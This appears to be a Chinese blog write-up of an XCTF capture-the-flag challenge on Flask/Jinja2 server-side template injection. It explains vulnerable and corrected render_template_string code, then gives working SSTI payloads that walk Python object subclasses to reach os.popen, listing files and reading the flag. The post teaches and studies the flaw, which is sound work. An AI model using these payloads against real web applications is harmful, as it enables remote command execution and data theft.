• Web_python_template_injection


    Web_python_template_injection

    知识点

    flask框架

    python中编写的主流web框架有Django、Tornado、Flask、Twisted。这里主要介绍flask框架。

    先看一段代码

    from flask import Flask
    app = Flask(__name__)
    @app.route('/')
    def index():
        return 'Hello World'
    
    app.run()
    

    route装饰器的作用是将函数与url绑定起来。例子中的代码的作用就是当你访问http://127.0.0.1:5000/index的时候,flask会返回hello world。

    flask框架是基于Jinjia2模板引擎实现的。代码:

    from  flask import  Flask
    
    from  flask import  render_template
    
    app  =  Flask(__name__)
    
    @app.route('/hello')
    
    @app.route('/hello/<name>')
    
    def  hello(name=None):
    
        return  render_template('hello.html',  name=name)
    
    app.run()
    
    

    这段代码”hello()”函数并不是直接返回字符串,而是调用了”render_template()”方法来渲染模板。方法的第一个参数”hello.html”指向你想渲染的模板名称,第二个参数”name”是你要传到模板去的变量,变量可以传多个。

    那么这个模板”hello.html”在哪儿呢,变量参数又该怎么用呢?接下来我们创建模板文件。在当前目录下,创建一个子目录”templates”(注意,一定要使用这个名字)。然后在”templates”目录下创建文件”hello.html”,内容如下:

    <!doctype html>
    
    <title>Hello Sample</title>
    
    {% if name %}
    
      <h1>Hello {{ name }}!</h1>
    
    {% else %}
    
      <h1>Hello World!</h1>
    
    {%  endif  %}
    

    接触过其他模板引擎的朋友们肯定立马秒懂了这段代码。它就是一个HTML模板,根据”name”变量的值,显示不同的内容。变量或表达式由”{{ }}”修饰,而控制语句由”{% %}”修饰,其他的代码,就是我们常见的HTML。让我们打开浏览器,输入”http://localhost:5000/hello/man”,页面上即显示大标题”Hello man!”。我们再看下页面源代码

    <!doctype html>
    
    <title>Hello from Flask</title>
    
      <h1>Hello man!</h1>
    

    果然,模板代码进入了”Hello {{ name }}!”分支,而且变量”{{ name }}”被替换为了”man”。就实现了不同的用户呈现的内容(如,用户名,个人信息)啥的不同。Jinja2的模板引擎还有更多强大的功能,包括for循环,过滤器等。模板里也可以直接访问内置对象如request, session等。

    以上内容参考博客

    python中flask模板注入

    flask模板中含有render_template_string,和render_template,前者用来渲染字符串,后者用来渲染模板。不正确的使用flask中的render_template_string方法会引发SSTI。

    漏洞代码

    from  flask import  Flask
    from flask import render_template_string
    from flask import request
    
    app  =  Flask(__name__)
    
    @app.route("/")
    
    def test():
        code = request.args.get('id')
        html='<h3>%s</h3>'%code
        return render_template_string(html)
    
    app.run()
    

    代码中的id参数是用户可控的,并且是对直接对模板进行控制,简单说就是先填充好变量,再进行渲染,这时就会造成漏洞

    构造

    ?id=<script>alert(111)</script>
    

    可以看到


    xss代码直接插入了页面中,进行了xss攻击,事实上可以进行的不止xss攻击。

    正确代码

    from  flask import  Flask
    from flask import render_template_string
    from flask import request
    
    app  =  Flask(__name__)
    
    @app.route("/")
    
    def test():
        code1 = request.args.get('id')
        html='<h3>{{code}}</h3>'
        return render_template_string(html,code=code1)
    
    app.run()
    

    可以看到


    xss语句并没有被执行,原因在于render_template_string函数会对变量中的内容进行实体转义,返回的是一个字符串而不是html文档,这里可能有点难理解,简单说正确代码是直接用变量去代替Jinja2的{{code}}内容,用户可以控制的是变量而不是模板。

    思路

    先随便构造

    URL http://220.249.52.133:47213/1111
    

    然后发现返回的是

    URL http://220.249.52.133:47213/1111 not found
    

    这说明构造的payload可能会显示在页面中

    测试是否有模板注入漏洞

    http://111.198.29.45:46675/{{7*7}}
    

    服务器返回

    URL http://111.198.29.45:46675/49 not found
    

    说明7*7被成功执行,存在模板注入漏洞。

    接下来,开始想办法编代码拿到服务器的控制台权限

    看了师傅们的文章,是通过python的对象的继承来一步步实现文件读取和命令执行的的。顺着师傅们的思路,再理一遍。

    找到父类<type 'object'>-->寻找子类(引用)-->找关于命令执行或者文件操作的模块(引用中有模块)。

    题目告诉我们这是一个python注入问题,那么脚本肯定也是python的,思考怎样用python语句获取控制台权限:想到了os.systemos.popen(参考资料),这两句前者返回退出状态码,后者以file形式返回输出内容,我们想要的是内容,所以选择os.popen

    __class__ //返回对象所属的类
    __mro__ //返回一个类所继承的基类
    __base__ //返回该类所继承的基类
    //__mro__和__base__都是寻找该类继承的基类
    __subclasses__()  //返回基类可用引用
    __init__   //类的初始化方法
    __globals__    //对包含函数全局变量的字典的引用
    

    首先找到当前变量所在的类

    http://220.249.52.133:47213/{{''.__class__}}

    返回 URL http://220.249.52.133:47213/<type 'str'> not found

    找object父类

    http://220.249.52.133:47213/{{''.__class__.__mro__}}

    返回 URL http://220.249.52.133:47213/(<type 'str'>, <type 'basestring'>, <type 'object'>) not found

    找object可用引用

    http://220.249.52.133:47213/{{''.__class__.__mro__[2].__subclasses__()}}

    返回:一大堆可用引用,从其中可以找到我们想要的os所在的site._Printer类,它在列表的第七十二位,即__subclasses__()[71]

    利用os模块读取目录

    http://220.249.52.133:47213/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}

    返回 URL http://220.249.52.133:47213/fl4g index.py not found

    读取fl4g中内容

    http://220.249.52.133:47213/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}}

    http://220.249.52.133:47213/{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}

    [40]号可用引用是file

    常用payload还有

    ''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')返回的是状态码,我们要结合curl命令,可(参考资料)

    参考:xctf中write up

  • 相关阅读:
    C# 多态类型
    字符集(Character set)
    CSS之backgroundposition 百分数形式
    javascript this对象 作用域链scope chain
    地图 查经纬度 算距离
    JavaScript 对象封装(完美版)
    iTextSharp 使用详解(转)
    社交网站 分享 +button
    COCOS2DX学习笔记(一) windows下cocos2dx的环境配置
    【首创】完美解决scrollview与menu的兼容问题
  • 原文地址:https://www.cnblogs.com/NineOne/p/13811785.html
Copyright © 2020-2023  润新知